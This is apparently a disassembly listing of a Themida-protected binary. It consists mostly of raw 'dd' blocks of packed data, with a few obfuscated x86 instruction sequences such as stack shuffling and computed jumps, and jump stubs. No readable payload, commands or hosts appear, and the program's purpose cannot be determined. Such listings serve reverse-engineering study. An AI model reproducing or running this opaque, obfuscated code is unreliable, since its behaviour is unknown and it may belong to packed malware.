0DC2122h, 673358BEh, 0C4941AD3h, 98FE5ECAh dd 6D0B0040h, 0A237947Ch, 0A058CAF4h, 39294ADEh, 6BD13D66h dd 67232B7Ch, 0E8F0BCE2h, 0D33B5A82h, 0B61CDE67h, 0AC77A991h dd 99D85AAh, 0D8C6EBADh, 222594B4h, 21B59DD7h, 5C817B4Bh dd 0BBE0D6A8h, 193E3807h, 5E18D135h, 55C78014h, 8FF56182h dd 6DFB6D98h, 8B7BF8BAh, 7FDCFB8h, 0ECF35A1h, 2C6BE963h dd 0C191456Ah, 76464AC7h, 3C63577Ch, 968E8BDFh, 0FDF651Eh dd 0C4949815h, 1FF1A5CAh, 81500429h, 8BF1EBBBh, 0E9E3B266h dd 0AB64F8C4h, 0A303A7F1h, 720E9F3Dh, 390B9925h, 4949DD43h dd 0DBAAD090h, 284D4315h, 7046DA40h, 2529A6A0h, 7F365B55h dd 3, 0E03A8786h, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 8953240Ch, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 7926850h, 8958062Eh dd 0F46858C1h, 8900001Eh, 4812424h, 424h, 0CC685800h, 8900006Bh dd 408F240Ch, 2434FF08h, 4C48358h, 51240C8Bh, 0C181E189h dd 4, 8704C183h, 0E95C240Ch, 0FFFA63D9h, 78917644h ; --------------------------------------------------------------------------- stosd loc_5AAF4D: ; CODE XREF: Themida_:005A9A28j mov eax, 62E1B83h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 851Eh dd 0CE1D6677h, 0BBCB1DFBh, 0A913189Bh, 5CCE4173h, 0D73424F0h dd 41141A8Eh, 72877107h, 9CF2551Ah, 9D525389h, 2ED1135h dd 87677D17h, 0EFE15318h, 82BE7C67h, 0A310704Eh, 1F763726h dd 4E954800h, 0F9212CE6h, 9569253Fh, 0F521762Bh, 9F53296h dd 0FE80797h, 87000000h, 0BA1AFAE8h, 0E837D3DCh, 0DFE28CCAh dd 0BB66D94Eh, 0E95FF94Bh, 12h, 0E2DF26h, 9B391D94h, 0D0E70C9h dd 0F1731135h, 0C781D188h, 61C9h, 68C78Bh, 80000000h, 0FF5A0AD4h dd 0B70F3A34h, 8E0F5EC9h, 4, 5B616050h, 7FE3C681h, 0F38128B6h dd 75650233h, 0CFCDF681h, 0D2B4661Ch, 282C681h, 0EE90A03h dd 4B000000h, 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h, 48F5696h dd 0C68B6617h, 83C6BF0Fh, 8E0F04EAh, 2, 0FA81CA8Bh, 0FFFF9F00h dd 19850Fh, 0A0B80000h, 0E93B6CE3h, 28h, 48C30946h, 4FB320ABh dd 0BC7E9A31h, 814FECA0h, 1BFECBEBh, 0FF7DE90Eh, 92D3FFFFh dd 2CB6800Bh, 1FE67653h, 9872DAFCh, 14E8h, 4B2B00h, 6B51A2A7h dd 0FF763AD2h, 0EFE606E6h, 404118Ch, 0D9B70FC9h, 0CE959h dd 7BA0000h, 67415C5Ah, 19750285h, 0C18198BEh, 6AE4h, 7E9h dd 0B68C3E00h, 0C3831950h, 1A7668h, 0FE95800h, 6A000000h dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 31FF8CC5h, 12E8h dd 87923700h, 0FF9A6890h, 0D134913Ah, 81E7A637h, 0E9AD8661h dd 9, 941A6F9h, 4AD2DB64h, 515A5FF0h, 44EA815Eh, 0F57B2BD3h dd 9B1EF281h, 95B726E9h, 5083F281h, 10E850CEh, 0CB000000h dd 8C7191A1h, 89F18273h, 710A0586h, 0F54788D7h, 2BBB525Eh dd 8F678391h, 0A820F01h, 60000000h, 18FEADB9h, 0C38B6618h dd 78E98161h, 0B703575Ah, 74C1817Bh, 0F03575Ah, 0C8Dh dd 7E900h, 0D5BD0000h, 9B01434Fh, 850F4871h, 0Fh, 0F98B6660h dd 1BE961h, 0D4580000h, 665AC48Ch, 53E9FE8Bh, 0EAFFFFFFh dd 0EF5841C7h, 205FD20Eh, 6FC1D527h, 8BE940h, 15F80000h dd 0CC470206h, 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh dd 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h dd 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h dd 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h dd 713C3359h, 0DB4D5200h, 5EF357h, 9DBBEFB6h, 9500BD89h dd 0EFB69F89h, 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h dd 0E0910h, 3 dup(0) dd 1021E900h, 0B3680000h, 0E9062E20h, 0FFFA60F1h, 2E21A868h dd 60E7E906h, 7B68FFFAh, 0E9062E22h, 0FFFA60DDh, 2E23D068h dd 60D3E906h, 4868FFFAh, 0E9062E24h, 0FFFA60C9h, 2E24F068h dd 60BFE906h, 0AA68FFFAh, 0E9062E25h, 0FFFA60B5h, 2E266D68h dd 60ABE906h, 2868FFFAh, 0E9062E27h, 0FFFA60A1h, 2E27F168h dd 6097E906h, 0D968FFFAh, 0E9062E28h, 0FFFA608Dh, 2E29FF68h dd 6083E906h, 9C68FFFAh, 0E9062E2Ch, 0FFFA6079h, 2E2D8D68h dd 606FE906h, 0A273FFFAh, 5D2B2FACh, 12DEE25Fh, 0BD8F9310h dd 79464AC7h, 0AFFBFE7Bh, 1693915Eh, 0CC494312h, 7EFBFDC8h dd 33B0AA7Ah, 0C1177D0Dh, 73795D8Ch, 90F656A0h, 795D8C48h dd 5B962AECh, 0F11610E0h, 0F6736D3Dh, 0B3EA94B8h, 2214127Ch dd 5CF05654h, 329EC79Ah, 5BF2C1CCh, 0FC21E375h, 5BF2D408h dd 0B069AF79h, 0FCFECAF0h, 6BFFFDCAh, 598CDB9Eh, 36DBC1h dd 0F4080000h, 38980421h, 254A4012h, 493A93Dh, 2E755BBEh dd 0F959476Ch, 5B864593h, 992DEF79h, 5B865183h, 0AED42A79h dd 5151E5DFh, 445E1B98h, 0EC58C159h, 85000000h, 0F11610E0h dd 4D72703Dh, 63C9C999h, 7F7393B5h, 9377A50Bh, 3F017F73h dd 3A5FC587h, 3FBCB686h, 738EF2FBh, 6026F67Fh, 0B4319791h dd 0C1E6E0B0h, 0D4A7AFD3h, 6ADF0835h, 244114D6h, 0CE594B8h dd 93C3C18Fh, 0EF838EABh, 705B7FDFh, 2BE98401h, 0AACFCD9Bh dd 0F82C5CC2h, 43CFAE2Ch, 0A8FB11A5h, 16755BAFh, 12620F0h dd 67298519h, 0F827FAEAh, 5BD14A92h, 0ACA27479h, 25E79F87h dd 0C52B21F3h, 6C9FF359h, 33F57375h, 0D6D4A1C7h, 8A885559h dd 0EEA3C1Ch, 2EE5C0B4h, 0DA0h, 0E9665C2Dh, 9C1917E5h dd 4DCACC98h, 4817749h, 0B8353300h, 4B18E9B5h, 0FDCCD04Dh dd 0B7828603h, 643438B5h, 37C7ED6Ah, 5DB30BD1h, 0E55A2D79h dd 0EDB180A6h, 0FF395C1Fh, 81157BF2h, 63E0DEABh, 0B95FC525h dd 0BB7F7301h, 0BF8F65F9h, 0F4DF48C5h, 32980421h, 755BBEABh dd 0F2E60BCDh, 795B862Eh, 1D9A5399h, 0C159445Ch, 0D25Ah dd 0EC52B200h, 795BB22Ch, 0B7F28648h, 0F11610E0h, 66C703Dh dd 7F7393D6h, 153AA062h, 738ED421h, 884C1C7Fh, 5323EB6Bh dd 68E54BC3h, 759A9464h, 75E102D5h, 0D5F74951h, 0FEE60B05h dd 70D774CEh, 486CCCDCh, 9D4AB48h, 0CAFAE207h, 19ADA92Fh dd 5B7BA003h, 9310D275h, 47B3D0A3h, 75DFF2E1h, 0C632F473h dd 69CFD3A0h, 732003B3h, 0C67E804Bh, 43F2D404h, 0A038C004h dd 0ECB9BD3Ah, 695280EEh, 3F1AB40Fh, 0CAB88h, 71673800h dd 2422F0F4h, 0D5D7A3A7h, 8C825458h, 403E0B0Fh, 2392C0C3h dd 0D7DB5856h, 8D910E08h, 3F43C0C2h, 0D2F8756Fh, 0B23CDC42h dd 6538795Dh, 1513E0F0h, 652985A9h, 45FDC15Fh, 0F6A573D9h dd 0DCF7F73h, 84545879h, 0E0A40D8Ah, 3DF11610h, 0F2F6736Dh dd 4BFF2426h, 0EAE8B57Bh, 0B77DDC5h, 0F61B15E5h, 5A597A0Eh dd 94B18410h, 0D6A2C828h, 95C7AFD4h, 0BEA6CBC5h, 8625142Ah dd 8D4F755Bh, 7CBDE101h, 0AF868C22h, 0EE544E1Eh, 7191445Ah dd 6A3D62D5h, 7077DD49h, 0A288E8A9h, 1BF6916h, 66CC264Eh dd 0A5CEA141h, 0AB9D339h, 4DDB7685h, 81508280h, 8FB52187h dd 0A48C5BFh, 4E9444AAh, 0DEA07575h, 0AAA4744Ah, 5AD0203Ch dd 3AF1CCB2h, 0BD8h, 219E9465h, 0D4514F1Dh, 850204D0h dd 3CB9AF81h, 0F06D6B38h, 8350A1EDh, 35040885h, 0EFBABE3Bh dd 9C6C70EDh, 6FFF25A2h, 5DB1D309h, 1D926579h, 784A10E0h dd 57F71C82h, 8DF35F84h, 755B82F6h, 6151CE90h, 93F9658Eh dd 7373A5BCh, 0BC5CC222h, 0B87323A3h, 0A3528AF0h, 24E67323h dd 0CCE2ABEh, 0A321F3E7h, 549A7323h, 86B7DB9Bh, 0E13F3670h dd 3813C92Fh, 63257323h, 0DD9C69FDh, 0D9C781DAh, 51h, 8C82A606h dd 2828C687h, 77E7CACh, 0B311D5B8h, 698A5D1Fh, 3EEB97FDh dd 0C789755Bh, 686A355Bh, 0B689ADEBh, 3FEBEAD5h, 4797AD41h dd 7B795BB8h, 0E545B1ABh, 5BB8597Fh, 8519DB79h, 60C62664h dd 795BB8B8h, 9066FABCh, 0E79EC3C5h, 0B04h, 0E046A6EEh dd 7F739338h, 24E67A3Ch, 62C83451h, 7521B4F8h, 0A8CE3AFCh dd 2361DED8h, 8CBF5DC3h, 0F7B9795Dh, 0C3BD8D63h, 0A2BFE9Eh dd 0D83E9Eh, 34795D8Ch, 68CEDE72h, 730FAA01h, 0DD589BBFh dd 6C9C9E6Ah, 0CA5EB982h, 1A40AC6Eh, 422A4F4Dh, 0A8789EAEh dd 5A9A42A8h, 0DC9E732Fh, 25F5F976h, 9366062Bh, 5AD6066Ch dd 0A062732Fh, 0C168CE3Ah, 3379077Ah, 0E4030371h, 0AE89AAD8h dd 0A83F7h, 493F1000h, 0FCFAC8CCh, 0ADAF7B7Fh, 645A2C30h dd 1816E3E7h, 0FBCA989Bh, 0AFB3302Eh, 6569E6E0h, 171B989Ah dd 0AAD04D47h, 0B064B41Ah, 3D10795Dh, 937CA0C8h, 284C7F73h dd 0BF8FECFFh, 6123B79Ah, 93F9658Eh, 75216CFCh, 0F2ECBCE2h dd 0D440025Eh, 67E4DEAEh, 74999363h, 18C02686h, 1C795D64h dd 3104C65Ah, 2342A814h, 45737575h, 41F1583h, 0B691B40Bh dd 0A0BFFh, 0D1C79800h, 84825054h, 35370307h, 0ECE2B4B8h dd 0A09E6B6Fh, 83722023h, 373BB8B6h, 0EDF16E68h, 9FA32022h dd 3258D5CFh, 0B79C3CA2h, 0C598795Dh, 1610E050h, 736D3DF1h dd 190FE107h, 3A08BC85h, 2924F972h, 56BD7EFh, 93612CE0h dd 0BEA6CBC1h, 0B07F3358h, 51A991B6h, 0CE9A20D9h, 545066CCh dd 0F05B1E9Bh, 0A95BBB31h, 88000004h, 980421F4h, 21B54732h dd 0FB672975h, 8E0B05D5h, 9BC0BA8Ah, 5D8C75A7h, 0D9CEA179h dd 74A40A0Ah, 795D8Ch, 0CBB3D83Eh, 0FC93F965h, 9673759Dh dd 3D1466D4h, 0FDD8B40Ah, 96346h, 291FF000h, 0DCDAA8ACh dd 8D8F5B5Fh, 443A0C10h, 0F8F6C3C7h, 0DB2A787Bh, 8F93100Eh dd 4549C6C0h, 0F7FB787Ah, 8AB02D27h, 0B74494FAh, 1DF0795Dh dd 1610E0A8h, 6D6D3DF1h, 7393D107h, 3BA1637Fh, 0C9827E16h dd 1A14E309h, 0AC790DF5h, 0BB312BCDh, 417E9h, 7CA01600h dd 9A7F7393h, 0CC329EC7h, 7521B477h, 395FCB8Dh, 0EEF26F69h dd 8E88581Eh, 6398BC28h, 6F8A1BAAh, 7A77004h, 0E53D4534h dd 851A29CBh, 2D53B31Fh, 25F35961h, 4F795DCAh, 26F5278Dh dd 8B1F072Ch, 75DB1E75h, 3AA0C473h, 0C2FE5495h, 37674138h dd 8C10E07h, 0E8561874h, 0B40AA484h, 0A9BE7550h, 36000008h dd 0EEF26F65h, 0A1A52220h, 5256D3D5h, 90D8A80h, 0BEC13E3Ch dd 56542190h, 0C06D5D9h, 0BEC08B8Fh, 736D3D41h, 0DA40D0F6h dd 795DB602h, 0E0EE6336h, 3DF11610h, 0B64E736Dh, 0F58401BAh dd 9DBB312Ah, 16AAAC77h, 3672Ah, 0A35E8200h, 0A0557B7h dd 0A0326D01h, 7F73937Ah, 2EF72246h, 8880908Bh, 736FFA22h dd 56BC7E7Fh, 0C4585624h, 9A062F02h, 8042143Ah, 2C51B7B1h dd 0B4D27E7Ah, 3FA5F9CBh, 0DD2B95ABh, 0C14D7521h, 1AEF35E1h dd 0F9F45235h, 3A0EC8F8h, 92B8248Ah, 474BC8C2h, 6A587D77h dd 0A8377046h, 0B9AFDFD9h, 6729BD39h, 9D036F94h, 7375D6BEh dd 0EE88F6B8h, 0E6B40A6Ch, 7E6540Bh, 0A2730000h, 5D2B2FACh dd 12DEE25Fh, 0BD8F9310h, 79464AC7h, 0AFFBFE7Bh, 1693915Eh dd 0CC494312h, 7EFBFDC8h, 33B0AA7Ah, 0C1177D0Dh, 73795DB5h dd 10E02BA0h, 0B584AA16h, 1AAE96BBh, 713F6351h, 0F4F38B40h dd 3101D76Bh, 0AD4B1237h, 0A49E6EF4h, 0C74D2C27h, 1669BB31h dd 96000000h, 28FDDh, 89AF0F00h, 0B098BDBBh, 73939E3Eh dd 44D89A7Fh dd 937AA009h, 0C1947F73h, 0A40A0CD8h, 0B461D238h, 0C1837521h dd 995F2F55h, 92D902CEh, 875DA369h, 2620EF21h, 6F3F43C0h dd 0DDB05075h, 0C8EC4CB8h, 7952EEBCh, 0DDD7A791h, 0CECDE377h dd 0E873758Fh, 17E0B826h, 310CB40Ah, 72B7Ah, 0F1E7B800h dd 0A4A27074h, 55572327h, 0C02D4D8h, 0C0BE8B8Fh, 0A3124043h dd 575BD8D6h, 0D118E88h, 0BFC34042h, 5278F5EFh, 0B4BC5CC2h dd 0E5B8795Dh, 1610E070h, 34E44AAAh, 407F7393h, 6D21EA7Eh dd 0CA7EA39Dh, 676131FFh, 0CFF45A42h, 2D524C1Bh, 890FC866h dd 1055BBBDh, 6333B972h, 0ADD2D09Dh, 0CDF35FC5h, 0F2DAFF01h dd 37423D5Eh, 7FBB312Fh, 7, 1BADDACh, 0A6E40000h, 92B7B180h dd 0DB0016AAh, 0A57F7393h, 20B4B27Fh, 0FE6A8B5Eh, 21B51298h dd 14804275h, 0A7241EEEh, 75A30969h, 0FF795DB3h, 3D3A93Dh dd 5F799D09h, 74BC1138h, 0C1612ABEh, 0F359C5EEh, 737583E4h dd 84DE4C0Eh, 28B40A1Bh, 662964Dh, 1EEF0000h, 0D9A7AB28h dd 8E5A5EDBh, 390B0F8Ch, 0F5C2C643h, 2B777AF7h, 920F0DDAh dd 48C5BF8Eh, 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF795DB4h dd 10E0A71Ch, 6D3DF116h, 13E10773h, 0F1B88115h, 52501D43h dd 7F05BEBEh, 0FA38B5AFh, 0D60806D4h, 0E80D07h, 2FDA9F6Ch dd 58B8BB31h, 739F2AF2h, 0F88C4E7Fh, 130Ch, 0AF406400h dd 90925D25h, 56DB7260h, 0F1DD87C2h, 0E4000000h, 522046A6h dd 933AE254h, 7C3E7F73h, 9309D2E8h, 0F2C57F73h, 0A50565D1h dd 8EB3B17Fh, 93E434A6h, 0CE907F73h, 0B4AE243Ah, 4C67521h dd 0A8A27298h, 5D57272Bh, 36FCCBF1h, 0DE03696Bh, 0FCC6F6h dd 0A75ACD0Eh, 385C4A13h, 0F45A7268h, 795D8324h, 695E8E50h dd 15D76B6Eh, 4FB52142h, 7375A848h, 7E3AA86Ah, 7AB40A36h dd 57AE89Fh, 36070000h, 0F1BFC340h, 0A67276F3h, 512327A4h dd 0DDADE5Bh, 0C38F920Fh, 0AA2725F2h, 60DDD7A6h, 128F915Ch dd 0C7443E0Eh, 6DAB11A1h, 7795DBBh, 10E0BF34h, 6D3DF116h dd 0CB9A4E73h, 2BF8ACD1h, 0C024082Dh, 6A084D07h, 615B2BB1h dd 2F90E9E4h, 726BB31h, 53000000h, 27DDh, 10E0E400h, 0B484AA16h dd 7FA48ABAh, 840E00BEh, 0A37327F0h, 32AA84A9h, 5D23F379h dd 856D9290h, 199BA21Fh, 0A2000000h, 0F11610E0h, 7393DAFDh dd 762FD17Fh, 0BA2620F0h, 0A3C8C694h, 9D0627BBh, 0AA1610E0h dd 9334E44Ah, 0B2407F73h, 5284EAE0h, 28F18587h, 2490B588h dd 21B45CBEh, 2A965875h, 0BD3A3404h, 245C5B7Fh, 15B307E8h dd 50E44A48h, 44B0AA7Ah, 0C2564C1Eh, 5D8659F9h, 0ED2B91F1h dd 87795D42h, 25F359C5h, 4F795D42h, 83E9F98Dh, 730F64E4h dd 0CD34B6DAh, 0A69D2EC6h, 88F4B612h, 2969462h, 0A16C92F2h dd 0A59B6D9Fh, 716B3B11h, 2620F0F4h, 658E6101h, 6B3493F9h dd 9C5E7907h, 0D8C5982Eh, 0D28964AAh, 454h, 9D1A10E1h dd 50CDCB99h, 17E804Ch, 0B8352BFDh, 6CE9E7B4h, 0FFCC3D69h dd 0B1808401h, 6B363AB7h, 18E8EC69h, 0EB7BA11Eh, 5DBA5785h dd 990EE179h, 0AA1610E0h, 91B6B884h, 0F0F415A9h, 4D012620h dd 0AA5E837Dh, 3B7DCDEh, 2D123735h, 135812CBh, 72743F65h dd 0CBCD994Dh, 18D1D165h, 4BC8C292h, 312F2950h, 4E8DBBh dd 0F4BA0000h, 32980421h, 755B4440h, 7CF79824h, 9AE50287h dd 14441548h, 1A80D400h, 0BBBD88AEh, 5224FA3Eh, 0EDE795Bh dd 1A807648h, 0CCCE999Dh, 0F359B9A7h, 795B5225h, 52E7359Bh dd 0CF91795Bh, 0E5255517h, 3598F3E4h, 9D290296h, 30000003h dd 980421F4h, 5BB1DF32h, 93F9C175h, 795BB145h, 88ADA375h dd 0C026E8A0h, 1D17E79Bh, 2DEB51B1h, 47795BB1h, 4E28F185h dd 395D1DD6h, 0A428DAEh, 2CEE82D4h, 70D03C59h, 5C817B4Ah dd 27CAE074h, 59737320h, 572A1A97h, 0CE9CC22Eh, 0C62C3CD0h dd 790B0223h, 0BA6E9355h, 2383EFEDh, 0B461FBDh, 68BDA16Dh dd 179A97D3h, 40099D5Fh, 0B527E074h, 2D23F5E2h, 64B41A08h dd 106D0B71h, 1682E84Eh, 0FCBE90B6h, 220A2F31h, 0FF1228BCh dd 0A1672353h, 8E5E62DFh, 0EBBB6F94h, 915F85F1h, 0D6FBF9C7h dd 0D3F488EEh, 552710E3h, 0B9863A5Fh, 48AE96BBh, 845076E2h dd 7EDEEE82h, 47E3BB5Ah, 0B1E11905h, 0DE3CA3A4h, 384EE214h dd 6DFAF72Dh, 0C010C34Fh, 930E3DC4h, 73989261h, 93B9258Bh dd 0BEA6CBC1h, 4D73612Ah, 775F847Eh, 140BCDE3h, 2E7461BAh dd 0B281F875h, 5535D9FAh, 62000000h, 980421F4h, 930AD238h dd 6C2E7F73h, 868C8D8h, 73937AA2h, 34E44A7Fh, 407F7393h dd 7004C67Eh, 5BBEC35Ah, 0E33F575h, 0EDB9FC20h, 840E2ECDh dd 0CC06DAF0h, 3B81795Bh, 0D19CC282h, 2EC2AACFh, 598E1861h dd 1A567AC1h, 1BF4D09Bh, 0E37460F4h, 0A1000000h, 0B5B380A6h dd 817B4B21h, 0DDDBA85Ch, 46ACAB8h, 7F7393D4h, 340A9E60h dd 57456A64h, 41666431h, 1FEFC559h, 466AA825h, 3970425Ah dd 51BAF9Ch, 7F7370F8h, 0D80066C6h, 5C7F7290h, 0A096689Ah dd 29FF937Bh, 25F35959h, 4F7F7290h, 0A6AA278Dh, 414110D6h dd 72903DDBh, 0F75377Fh, 309C02EAh, 90B26AD0h, 4C67F72h dd 3407A770h, 2E3DA30Fh, 48755AA6h, 46190986h, 0CC4BB11Dh dd 0E673741Fh, 0C592B824h, 79464AC7h, 0EAB70D7Bh, 5E39B40Fh dd 1B7A7h, 7D734400h, 302EFC00h, 0E1E3AFB3h, 988E6064h dd 4C4A171Bh, 2F9ECCCFh, 0E3E76462h, 999D1A14h, 4B4FCCCEh dd 0DE04817Bh, 0BF30E84Eh, 7144795Dh, 0F13E0FCh, 739373A9h dd 0DD43057Fh, 7D7F4B71h, 0F4C4C8E9h, 264A7830h, 2F95CCBFh dd 21F449B2h, 0ED2DDAFEh, 14EA1C5h, 73DD498Fh, 915DEB7Fh dd 1C826A8Fh, 0FD2218EAh, 1F43AF15h, 0DA79B843h, 8C9C3035h dd 5B89B726h, 93FFC175h, 0DF0FCD33h, 6729795Bh, 0C2160AD3h dd 0BD795BDFh, 3841BE77h, 7EC1597Bh, 9Dh, 1610E0ABh, 72703DF1h dd 8EAC594Dh, 84547F73h, 39090D8Ah, 0A77A1A3Fh, 52B2127Eh dd 0F1635D2Ch, 7F73962Bh, 8E598B4Dh, 0EB7F678Ch, 5BA0B6D5h dd 0A11EE075h, 756B3D63h, 12D46850h, 44AA163Fh, 73750236h dd 0EA107C3Eh, 9EA21F1Dh, 0C565D3D1h, 87B40EE4h, 0C6F5ACh dd 82530000h, 3D0B0F8Ch, 0F2BEC23Fh, 9D6F73F0h, 59262AA7h dd 8FDBDE5Bh, 0F673713Eh, 0AC2923F2h, 5EDBDDA8h, 13908A5Ah dd 21F75DEDh, 53795DBEh, 13E00B80h, 0B683A915h, 0FF0324B8h dd 0A3C9352Fh, 2546DAD4h, 0E046A6BCh, 7F739338h, 10E67A3Ch dd 6D214640h, 0F498D99Dh, 0C75AD1A8h, 21F4E461h, 0D8389804h dd 73BAAA72h, 780CCE7Fh, 219C0F62h, 43AF7175h, 0CF34BD1Fh dd 4EE29104h, 701D185h, 0F0B6868Ah, 18002523h, 3F9E0FE8h dd 7BE1B7E5h, 9AFD6256h, 0E75F7D75h, 0DED8A82Eh, 938D5D61h dd 0F2E8BA6Eh, 0B46D01CDh, 0E7645E2Eh, 0AD1913E3h, 41020F89h dd 17ABB02Fh, 0A974Eh, 0A69E0000h, 91B6B080h, 99E615A9h dd 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h, 658A8855h dd 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h, 0E68956FFh dd 4C681h, 0EE830000h, 74FF5604h, 8F5E0424h ; --------------------------------------------------------------------------- add al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ebp push esi mov esi, 22B2520Bh add esi, 5C5E196Bh mov ebp, esi pop esi mov ebx, 793E741Bh xor ebx, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ebx pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_551321 ; --------------------------------------------------------------------------- dd 0B8654041h, 62E2E78h, 0E0FFC503h, 1A9E1096h, 5E324E75h dd 24DA2D55h, 5EED9E86h, 3DD55259h, 326C2682h, 3E1AB0CFh dd 754BA2E4h, 4839A6C3h, 7CED17B5h, 57E781B9h, 5623B87Ch dd 302E8D8Dh, 8D89062Eh, 6280715h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 29C35343h, 0EA0FAE70h, 429E17ADh dd 348D8533h, 85C70628h, 62821BDh, 5D70h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0DEC35747h, 6880F07h dd 29000000h, 2800E195h, 3D85C706h, 62811h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FF7C356h, 0B5FFF7B7h, 6282E79h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9FC35343h, 0A10075F3h dd 95FF4038h, 62814D9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0CBC35040h, 86BD9D59h, 89B5C5F1h, 2807D5B5h dd 0DF8B6606h, 95FF006Ah, 6280465h, 4AEBC08Bh, 9CF7D77h dd 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h dd 0BBBC2781h, 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h dd 31165E8h, 0AA18874Ah, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h dd 0CBAC557Bh, 721D8F40h, 97E93C91h, 0D6000001h, 270F489Dh dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0) dd 0A26D8497h, 0EE69F033h, 6 dup(0) dd 0CDE90000h, 6800000Fh, 62E33E2h, 0FB12B9E9h, 34E968FFh dd 0AFE9062Eh, 68FFFB12h, 62E365Fh, 0FB12A5E9h, 373168FFh dd 9BE9062Eh, 68FFFB12h, 62E3864h, 0FB1291E9h, 394B68FFh dd 87E9062Eh, 68FFFB12h, 62E39ECh, 0FB127DE9h, 3A6568FFh dd 73E9062Eh, 68FFFB12h, 62E3B61h, 0FB1269E9h, 3BE068FFh dd 5FE9062Eh, 68FFFB12h, 62E3C91h, 0FB1255E9h, 3D4568FFh dd 4BE9062Eh, 68FFFB12h, 62E3DE7h, 0FB1241E9h, 3F6D68FFh dd 37E9062Eh, 68FFFB12h, 62E407Eh, 0FB122DE9h, 0EC3EBBFFh dd 84ED108h, 1F6FED24h, 3A82043Bh, 52A01F56h, 8FF4B96Eh dd 0A7DEC210h, 0C4FBDF23h, 0DE15F943h, 362E125Eh, 0D75497E8h dd 0D1A47CF8h, 0A3EF6F30h, 68BC3C0Bh, 0D6E5D417h, 0A56D67Ah dd 9B7F096Dh, 9B2D06D1h, 0E9A6F3E5h, 23011517h, 50C8E839h dd 4CB07CFEh, 53786FB4h, 0B2327CFEh, 0B23C8205h, 82C84B1Ah dd 26921497h, 0F73196BFh, 40C35BE5h, 6742C7EFh, 0DB668Eh dd 9C57357Fh, 0FBCDEE40h, 34B5h, 11DC5600h, 0D755A638h dd 0A17CFEF1h, 0F089E435h, 8DF17CFEh, 0C3266B03h, 0E97CFEF0h dd 0B6851D69h, 0C551E937h, 0DB5E86h, 45A1FF27h, 0BAFBCE6Bh dd 0ACh, 0A3EF6F5Bh, 32B48F11h, 83E452EAh, 7AD6E568h, 0E078C042h dd 8E10D572h, 0EEDEBC46h, 0C052A01Fh, 3F1D61E5h, 0B400804Fh dd 81CD4D1Ch, 0BD09BF9Dh, 0F6A82F6Bh, 0FE43FCDAh, 347AD675h dd 4D8468B4h, 87E981CDh, 0B50382BCh, 9325AF1Dh, 0FE7EBE42h dd 7A5EC27Ch, 7A0CE5B0h, 0D4DB9829h, 0E678DC7Ah, 5A3E8C0Bh dd 0B256A423h, 8776681h, 4EEB4616h, 8D00000Dh, 0A3DABE10h dd 0BFF6DA20h, 0D60DF141h, 0F1280C54h, 8B402472h, 90DE5D22h dd 0ADF175ACh, 0C71192C9h, 0E02CACE3h, 65B604FCh, 7CF8D606h dd 6FFE9F72h, 87BEA2F0h, 0CD7BB07h, 0D9FC11DCh, 819B15A4h dd 0B1CBC78Dh, 0C7715181h, 0D25AAB3Dh, 0A67CFEDAh, 0FE86CE06h dd 0A22C25FCh, 0C112940Ah, 7CFE62AAh, 0D38C6ACEh, 7CFE629Ch dd 32CA1696h, 0FF97E363h, 58D1F9AEh, 247CA47Dh, 0FBCDF8C8h dd 0C83Dh, 0EF6FDE00h, 0BD3C0BA3h, 8D92D76Fh, 837AD6E1h dd 8DD35603h, 19FD87F5h, 7E1662E2h, 0E678511Ch, 0FEE3C395h dd 1FB1157Ch, 0E3214C9Dh, 0B9597CFEh, 958BA1D1h, 1BF98386h dd 0A22601DFh, 7A58C65Eh, 0A7F8D9A4h, 7CFEC044h, 34C650B4h dd 220AFCB2h, 0AEE9EC2h, 0C831732Ch, 0D3377AD4h, 93E56641h dd 85D42B42h, 61EB4F76h, 937D5BC9h, 7EB39B8h, 82CE4E29h dd 5B9E7CEAh, 53EA8EDCh, 58087757h, 0C472D88h, 9860000h dd 199CD3B7h, 3AB8EFD3h, 4DCF06EAh, 6BEA2105h, 2984391Dh dd 0A387D554h, 0C0A4E86Ch, 0DABE0889h, 0F3D723A3h, 115CADFBh dd 